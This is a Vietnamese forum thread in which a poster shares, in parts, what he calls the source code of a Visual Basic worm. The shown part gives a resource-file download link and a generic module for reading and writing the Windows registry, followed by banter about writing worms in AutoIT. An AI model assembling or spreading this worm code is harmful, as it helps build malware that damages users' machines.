YM mình không Online ! nếu bạn dùng GoogleTallk thì OK.
GT: trinhngochoan@gmail.com
thế nhé. 

Chài !
Bạn đã đọc một bài tui post mã nguồn một con virus lên chưa !
Chưa kịp comment gì thì đã bị hide luôn rùi !
 

Hic ! Thấy mấy bác làm gì mà khổ thế ?
Chỉ cần dùng AutoIT soạn ra là được mờ , đơn giản , dễ làm 

Hà hà hà ! Các bác thích học AutoIT hả !
hiện nay tui đang nói cho mọi người biết về mã nguồn của một Worm viết bằng VB. Còn các bác thích bằng AutoIT hả ??? phải có căn bản trước đã, thấy con Worm viết bằng AutoIT lộng hành ghê wa' nên cũng muốn làm thử một con chứ gì ! thôi được tui sẽ không post tiếp source code của con này nữa vậy để các bác học AutoIT cho đỡ mệt.

For All :
Địa chỉ học AutoIT thì các bác vào đây để học nhé bao giờ thành công viết được một con thì hướng dẫn em với nhé !
 

Hôm nay tui post tiếp code cho mọi người nhé:
Code trong file Resource thì tui up lên cho mọi người load luôn về.
http://files.myopera.com/ngochoan2006/files/pics.zip
giải nén ra được file Res và add vào Project của mình nhé.
Code trong Module:

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long


Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long


Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_DYN_DATA = &H80000006
Public Const REG_SZ = 1 'Unicode nul terminated String
Public Const REG_BINARY = 3 'Free form binary
Public Const REG_DWORD = 4 '32-bit number
Public Const ERROR_SUCCESS = 0& Dim DispName As String

Const READ_CONTROL = &H20000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4

Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + _
KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + _
KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL






Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.

Private Const MAX_PATH = 260

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim Ret
'Create a new key
RegCreateKey hKey, strPath, Ret
'Save a string to the key
RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
'close the key
RegCloseKey Ret
End Sub

Public Function RGGetKeyValue(hKey As Long, SubKey As String, ValueName As String, Optional Default As String = "")

Dim lngRet As Long
Dim lngResult As Long
Dim sData As String

lngRet = RegOpenKeyEx(hKey, SubKey, 0, KEY_ALL_ACCESS, lngResult)
If lngRet = ERROR_SUCCESS Then
sData = String(128, vbNullChar)

lngRet = RegQueryValueEx(lngResult, ValueName, 0, REG_SZ, ByVal sData, Len(sData))

If Not lngRet = ERROR_SUCCESS Then RGGetKeyValue = Default: Exit Function
RGGetKeyValue = Left(sData, InStr(1, sData, vbNullChar) - 1)
RegCloseKey lngResult
Else
RGGetKeyValue = Default
End If
End Function

Chốc nữa tui giải thích các câu lệnh, tóm lại module này dùng để tạo, đọc ghi các giá trị trong Regedit.
Thế nhé bây giờ tui đi có chuyện một chút. 

Hà hà hà ! Các bác thích học AutoIT hả !
hiện nay tui đang nói cho mọi người biết về mã nguồn của một Worm viết bằng VB. Còn các bác thích bằng AutoIT hả ??? phải có căn bản trước đã, thấy con Worm viết bằng AutoIT lộng hành ghê wa' nên cũng muốn làm thử một con chứ gì ! :lol thôi được tui sẽ không post tiếp source code của con này nữa vậy để các bác học AutoIT cho đỡ mệt.

For All :
Địa chỉ học AutoIT thì các bác vào http://identical.wordpress.com/tag/coding/autoit/ //url nhé bao giờ thành công viết được một con thì hướng dẫn em với nhé ! )  

Còn các bác thích bằng AutoIT hả ??? phải có căn bản trước đã, thấy con Worm viết bằng AutoIT lộng hành ghê wa' nên cũng muốn làm thử một con chứ gì ! :lol 

thôi được tui sẽ không post tiếp source code của con này nữa vậy để các bác học AutoIT cho đỡ mệt.
 

ngochoan2003 wrote:

Hà hà hà ! Các bác thích học AutoIT hả !
hiện nay tui đang nói cho mọi người biết về mã nguồn của một Worm viết bằng VB. Còn các bác thích bằng AutoIT hả ??? phải có căn bản trước đã, thấy con Worm viết bằng AutoIT lộng hành ghê wa' nên cũng muốn làm thử một con chứ gì ! :lol thôi được tui sẽ không post tiếp source code của con này nữa vậy để các bác học AutoIT cho đỡ mệt.

For All :
Địa chỉ học AutoIT thì các bác vào http://identical.wordpress.com/tag/coding/autoit/ //url nhé bao giờ thành công viết được một con thì hướng dẫn em với nhé ! )  

Mèng ơi ! Có biết lập trình VB không mà gáy to thế không biết

Còn các bác thích bằng AutoIT hả ??? phải có căn bản trước đã, thấy con Worm viết bằng AutoIT lộng hành ghê wa' nên cũng muốn làm thử một con chứ gì ! :lol 

Bạn nghĩ muốn tạo một chú virus từ AutoIT cần có căn bản lập trình gì ?

thôi được tui sẽ không post tiếp source code của con này nữa vậy để các bác học AutoIT cho đỡ mệt.
 

Ha ha ! Chưa gì đã đổ quạu rồi . Động chạm tự ái à ? Source virus thì đầy rẫy trên mạng thiếu gì mà phải hù dọa nhau như thế .



@ngochoan2003 : đoạn code virus trên là bạn viết ????????????? . Chưa biết code hay như thế nào nhưng riêng cái chủ đề này thì bạn spam hơi bị nhiều đấy .